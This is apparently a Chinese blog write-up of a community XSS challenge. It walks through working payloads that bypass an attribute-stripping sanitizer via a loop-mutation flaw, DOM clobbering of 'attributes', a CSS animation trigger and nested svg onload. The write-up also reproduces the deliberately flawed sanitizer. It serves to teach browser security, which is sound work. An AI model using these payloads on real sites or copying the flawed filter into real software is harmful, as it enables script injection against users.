题目
起因是在代码审计星球,P牛抛出的问题。
把代码稍微调了一下,放这里:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<script>
const data = decodeURIComponent(location.hash.substr(1));
const root = document.createElement('div');
root.innerHTML = data;
// 这里模拟了XSS过滤的过程,方法是移除所有属性
for (let el of root.querySelectorAll('*')) {
for (let attr of el.attributes) {
el.removeAttribute(attr.name);
}
}
document.body.appendChild(root);
</script>
</body>
</html>
大概思路就是把用户的输入放在了一个新建的DOM(root)中,然后遍历DOM,将所有的属性替换为空(据P牛所说本来这里是有白名单,直接改为全部替换为空,相当于白名单为空)。
注意这里插入到root树的方式是innerHTML,在这里插入script是不会执行的,例如<script>alert(1);</script>
,这里是不能执行的。
remove绕过
这里的预期解法是通过多属性,由于执行了remove
,此时实际上会导致循环的对象el.attributes本身发生变化,他的length变小了,这样导致有一些属性就并没有被循环到,而保留了下来,最后绕过。
星球的一些payload,都是结合多属性再加上on函数触发:
// by @evoA
<svg/a./onerror=alert(1)>
// by @Zedd
<details open ontoggle=alert(1)>
// by @七友
<svg 1="" onload=alert(1)>
传入
http://localhost/index.html#<svg 1="" onload=alert(1)>
在这里移除了1属性:
onload属性没有进入remove,XSS成功。
进阶版
P牛在day2又改进了新的题目,修复了上面的漏洞:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<script>
const data = decodeURIComponent(location.hash.substr(1));
const root = document.createElement('div');
root.innerHTML = data;
// 这里模拟了XSS过滤的过程,方法是移除所有属性
for (let el of root.querySelectorAll('*')) {
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name);
}
for (let name of attrs) {
el.removeAttribute(name);
}
}
document.body.appendChild(root);
</script>
</body>
</html>
可以看到新建了一个attrs数组用来存储复制的属性,该数组的大小在remove过程没有发生变化,也就是上面的exp不能使用了。
Dom Clobbering
DOM clobbering,该技术是2019年 Top 10 web hacking techniques of 2019 的提名,是一个很有意思的技术,Zedd师傅在他的博客中也有提及,详见使用 Dom Clobbering 扩展 XSS。
DOM 最初是在没有任何标准化的情况下诞生和实现的,这导致了许多特殊的行为,但是为了保持兼容性,很多浏览器仍然支持异常的 DOM 。
DOM 的旧版本(即DOM Level 0 & 1)仅提供了有限的通过 JavaScript 引用元素的方式,一些经常使用的元素具有专用的集合(例如
document.forms
),而其他元素可以通过Window
和Document
对象上的name
属性和id
属性来引用,显然,支持这些引用方式会引起混淆,即使较新的规范试图解决此问题,但是为了向后兼容,大多数行为都不能轻易更改。并且,浏览器之间没有共识,因此每个浏览器可能遵循不同的规范(甚至根本没有标准)。显然,缺乏标准化意味着确保DOM的安全是一项重大挑战。
由于非标准化的 DOM 行为,浏览器有时可能会向各种 DOM 元素添加 name & id 属性,作为对文档或全局对象的属性引用,但是,这会导致覆盖掉 document原有的属性或全局变量,或者劫持一些变量的内容,而且不同的浏览器还有不同的解析方式,所以本文的内容如果没有特别标注,均默认在 Chrome 80.0.3987.116 版本上进行。
Dom Clobbering 就是一种将 HTML 代码注入页面中以操纵 DOM 并最终更改页面上 JavaScript 行为的技术。 在无法直接 XSS 的情况下,我们就可以往 DOM Clobbering 这方向考虑了。
使用 Dom Clobbering 扩展 XSS
Zedd师傅举了几个简单的例子来介绍Dom Clobbering。
Example1
example1.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<img id=x>
<img name=y>
<script>
console.log(x);
console.log(y);
console.log(document.x);
console.log(document.y);
console.log(window.x);
console.log(window.y);
</script>
</body>
</html>
run之后,可以看到除了document拿不到id之外,其他的window和document都拿到了name和id的对象,这就意味着我们可以通过创建document或window下的同名对象来覆盖原来的对象。
Example2
可以看到,我们通过创建<img name=cookie>对象,插入DOM后成功覆盖了document.cookie
Example3
example3.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form name="body">
<img id="appendChild">
</form>
<script>
let div = document.createElement('div');
document.body.appendChild(div);
</script>
</body>
</html>
利用img重写了appendChild函数,注意这里的多重标签必须构成上下级关系。
看了这三个示例,应该就能对这种攻击方式有个大概的了解,更多的攻击方式移步Zedd师傅博客,这里不做更详细的介绍。
利用 Dom Clobbering XSS
回到这道题
const data = decodeURIComponent(location.hash.substr(1));
const root = document.createElement('div');
root.innerHTML = data;
// 这里模拟了XSS过滤的过程,方法是移除所有属性
for (let el of root.querySelectorAll('*')) {
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name);
}
for (let name of attrs) {
el.removeAttribute(name);
}
}
document.body.appendChild(root);
例如,当我们传入
<form onclick="alert(1)">
跟进一下会发生什么。
如图所示,在进入循环后,el参数选中了form表单,通过el.attributes选中el就是form标签的属性名,在这里的属性名为onclick,最后进行了删除。
那么,如果我构造一个多重标签,标签有上下级关系,其中二级标签的id或者name为attributes,对原有属性进行覆盖,会发生什么?为了进行测试,我选择了form->input的上下级标签,以下这些标签都是可以的
form->button
form->fieldset
form->image
form->img
form->input
form->object
form->output
form->select
form->textarea
而form表单标签支持的事件函数并不多,onclick是其中之一,于是我们构造这样的payload
<form onclick="alert(1)"><input id=attributes><input id=attributes>
还是原来的配方,但是已经是不同的配料了,el.attributes选中了input#attributes和input#attributes,原来的attributes即onclick被进行了覆盖并没有被remove,最后点击执行。
这里我遇到了一个疑问,为什么需要两个input?由于这里的form表单只有一个属性,理论上来说如果需要覆盖的话只要一个input标签就够了,但是刚开始测试时我使用了一个Input标签,发现会报错:
debug了一下发现当存在两个input时,el.attributes返回的是一个RedioNodeList,即iterable(可迭代对象)。
在传入一个input时,el.attributes返回的是一个标签,就变成不可迭代对象了,所以会产生报错。
特别有意思,学到了。
不需要用户交互的 Dom Clobbering
分享Zedd师傅最后提出的payload,也就是不需要click操作的payload,无需用户操作
<style>@keyframes x{}</style><form style="animation-name:x" onanimationstart="alert(1)"><input id=attributes><input id=attributes>
这里的@keyframs
是动画操作,有兴趣的可以了解一下CSS,通过style引入动画,最后执行onanimationstart(动画开始的监听),由于这里只有两个属性,补上两个input就行了。
在innerHTML后执行
P牛的payload
<svg><svg onload=alert(1)>
除了Dom Clobbering,解决第二个挑战的还有一种方法,也是我最早想给大家介绍的trick:
很惊奇,为什么这个onload没有被移除呢?其实他被移除了,但在移除前已经执行了,这个解法有点类似于条件竞争。
我们把这道题目代码的前三行拿出来:
const data = decodeURIComponent(location.hash.substr(1));
const root = document.createElement(“div”);
root.innerHTML = data;其实只尝试这三行,可以得出一个结论:即使我们不把root这个新创建的DOM对象写入页面,XSS仍然可以正常执行,比如我们可以使用最简单的< img src=1 onerror=alert(1)>,也可以使用我们这题的答案。
当然,增加了后面过滤操作以后,img这个payload就无法正常执行了。但是,后者仍然可以执行,可见,onload这个事件是在加载进innerHTML到remove属性之前就触发了。
但为什么一个svg无法正常触发,两个svg才能触发,这个原因仍然有待从底层进行研究,大概和svg的生命周期有一定关系。
调试一下
发现这alert(‘1’)是在执行了innerHTML时就已经执行了。至于后面发不发生appendChild已经和这里的XSS无关了。
总结
Dom Clobbering 让我学到了又一种新姿势,至于最后的payload为什么能够执行,我也没有头绪,更底层的东西我也不是很懂,希望会的师傅可以指点一下我这个菜鸡,蹲代码审计星球一个答案。